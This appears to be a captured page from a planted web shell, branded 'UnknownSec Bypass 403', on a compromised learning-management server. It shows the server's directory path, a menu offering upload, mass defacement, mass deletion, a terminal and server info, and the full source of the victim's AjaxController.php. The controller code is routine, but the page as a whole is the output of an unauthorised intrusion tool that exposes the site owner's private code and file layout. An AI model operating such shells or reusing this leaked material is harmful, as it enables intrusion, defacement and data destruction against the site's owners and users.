UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_c7f27759bc97
/
app
/
Http
/
Controllers
/
Ajax
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
AjaxController.php
<?php namespace EstudioLMS\Http\Controllers\Ajax; use Carbon\Carbon; use EstudioLMS\Exceptions\Handler; use EstudioLMS\Helpers\GetDataRecords; use EstudioLMS\Helpers\Helpers; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Models\Statistic\Login; use EstudioLMS\Repositories\Auth\UserRepository; use EstudioLMS\Repositories\Courses\Course\CourseResourceRepository; use EstudioLMS\Repositories\Courses\Course\LessonRepository; use EstudioLMS\Repositories\Courses\Resources\QuizQuestionInterface; use EstudioLMS\Services\InfoService; use GuzzleHttp\Client as GCliente; use Illuminate\Http\Request; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Storage; /** * Class AjaxController * @package EstudioLMS\Http\Controllers\Ajax */ class AjaxController extends Controller { /** * @var LessonRepository */ private $lessonRepository; /** * @var CourseResourceRepository */ private $courseResourceRepository; /** * @var QuizQuestionInterface */ private $quizQuestionRepository; /** * @var SessionInterface */ private $session; /** * @var InfoService */ private $infoService; /** * @var UserRepository */ private $userRepository; /** * @param LessonRepository $lessonRepository * @param CourseResourceRepository $courseResourceRepository * @param QuizQuestionInterface $quizQuestionRepository * @param SessionInterface $session * @param InfoService $infoService * @param UserRepository $userRepository */ public function __construct( LessonRepository $lessonRepository, CourseResourceRepository $courseResourceRepository, QuizQuestionInterface $quizQuestionRepository, SessionInterface $session, InfoService $infoService, UserRepository $userRepository ) { $this->lessonRepository = $lessonRepository; $this->courseResourceRepository = $courseResourceRepository; $this->quizQuestionRepository = $quizQuestionRepository; $this->session = $session; $this->infoService = $infoService; $this->userRepository = $userRepository; } /** * @param Request $request * @return string */ public function generateSlug(Request $request) { $title = str_replace('.', '-', $request['text']); $slug = str_slug($title, '-'); return $slug; } /** * @param Request $request */ public function reorderLesson(Request $request) { $resources = $request->all(); $resources = json_decode($resources['resources'], true); foreach ($resources as $resource) { $this->courseResourceRepository->maintainCourseResource($resource); } } /** * @param Request $request */ public function reorderQuestion(Request $request) { $data = $request->all(); $data = json_decode($data['questions'], true); foreach ($data as $key => $question) { $this->quizQuestionRepository->update([ 'position' => $question['position'] ], $question['id'] ); } } /** * @param Request $request * @return string */ public function accessTime(Request $request) { $elapsed = 0; $data = $request->all(); try { $ip = Helpers::getIp(); //$info = $this->infoService->getInfoByIP($ip); $browserInfo = $this->infoService->browserInfo($request->header('User-Agent')); $getData = app(GetDataRecords::class); $course = empty($data['slug_course']) ? null : $getData->getCourseBySlug($data['slug_course'])->id; $module = empty($data['slug_module']) ? null : $getData->getModuleBySlug($data['slug_module'], $course)->id; $resourceType = empty($data['slug_resource_type']) ? null : $getData->getResourceTypeBySlug($data['slug_resource_type'])->id; $lesson = empty($data['slug_resource']) ? null : $getData->getResourceByResourceSlug($resourceType, $data['slug_resource'])->id; $user = $this->userRepository->find($data['user_id']); $loginToken = !empty($this->session->get('login_token')) ? $this->session->get('login_token') : $user->login_token; Login::create( [ 'login_token' => $loginToken, 'user_id' => $data['user_id'], 'role_id' => $this->userRepository->find($data['user_id'])->roles[0]->id, 'start' => $data['start'], 'end' => $data['end'], 'elapsed_minutes' => $data['elapsed_time'], 'IP' => $ip, /*'country_code' => $info['country']['countryCode'], 'country_name' => $info['country']['countryName'], 'city' => $info['city']['regionName'], 'neighborhood' => $info['city']['cityName'], 'zip_code' => $info['city']['zipCode'], 'latitude' => $info['city']['latitude'], 'longitude' => $info['city']['longitude'], 'time_zone' => $info['city']['timeZone'],*/ 'route_name' => $data['route_name'], 'url' => $data['url'], 'course_slug' => !empty($data['slug_course']) ? $data['slug_course'] : null, 'module_slug' => !empty($data['slug_module']) ? $data['slug_module'] : null, 'resource_type_slug' => !empty($data['slug_resource_type']) ? $data['slug_resource_type'] : null, 'lesson_slug' => !empty($data['slug_resource']) ? $data['slug_resource'] : null, 'course_id' => $course, 'module_id' => $module, 'resource_type_id' => $resourceType, 'lesson_id' => $lesson, 'platform' => $browserInfo['platform'], 'user_agent' => $browserInfo['user_agent'] ] ); } catch (\Exception $e) { //\Log::error($e->getMessage()); app(Handler::class)->report($e); return $e->getMessage(); } } /** * @param Request $request * @return string */ public function supportNotification(Request $request) { $tenantId = config('config.tenant_id'); $apiEndpoint = config('app.SUPPORT_API_ENDPOINT') . 'notify-ticket/'; try { $client = new GCliente([ 'headers' => [ 'Accept' => 'application/json', 'Content-Type' => 'application/json', 'Authorization' => 'Bearer ' . $tenantId ] ]); $support = $client->get($apiEndpoint . $tenantId); return json_encode(json_decode($support->getBody())); } catch (\Exception $e) { app(Handler::class)->report($e); } } /** * @param Request $request * @return string */ public function removeSignature(Request $request) { $data = $request->all(); $fail = ''; $success = ''; try { $profile = $this->userRepository->find($data['id']); $signature = $profile['signature']; $profile['signature'] = null; $profile->save(); Storage::disk('profile')->delete($signature); $success = trans('admin_user.msgSuccess'); $message = trans('admin_user.Not_Defined_SignatureRemoved'); } catch (\Exception $e) { app(Handler::class)->report($e); $fail = trans('admin_user.msgFail'); $message = trans('admin_user.msgErro') . $e->getMessage() . trans('admin_user.Not_Defined_SignatureRemovedError'); } $env = 'environment'; \Session::flash('success', $success); \Session::flash('message', $message); \Session::flash('fail', $fail); //return route('admin.users.index'); } }
Copyright © 2026 - UnknownSec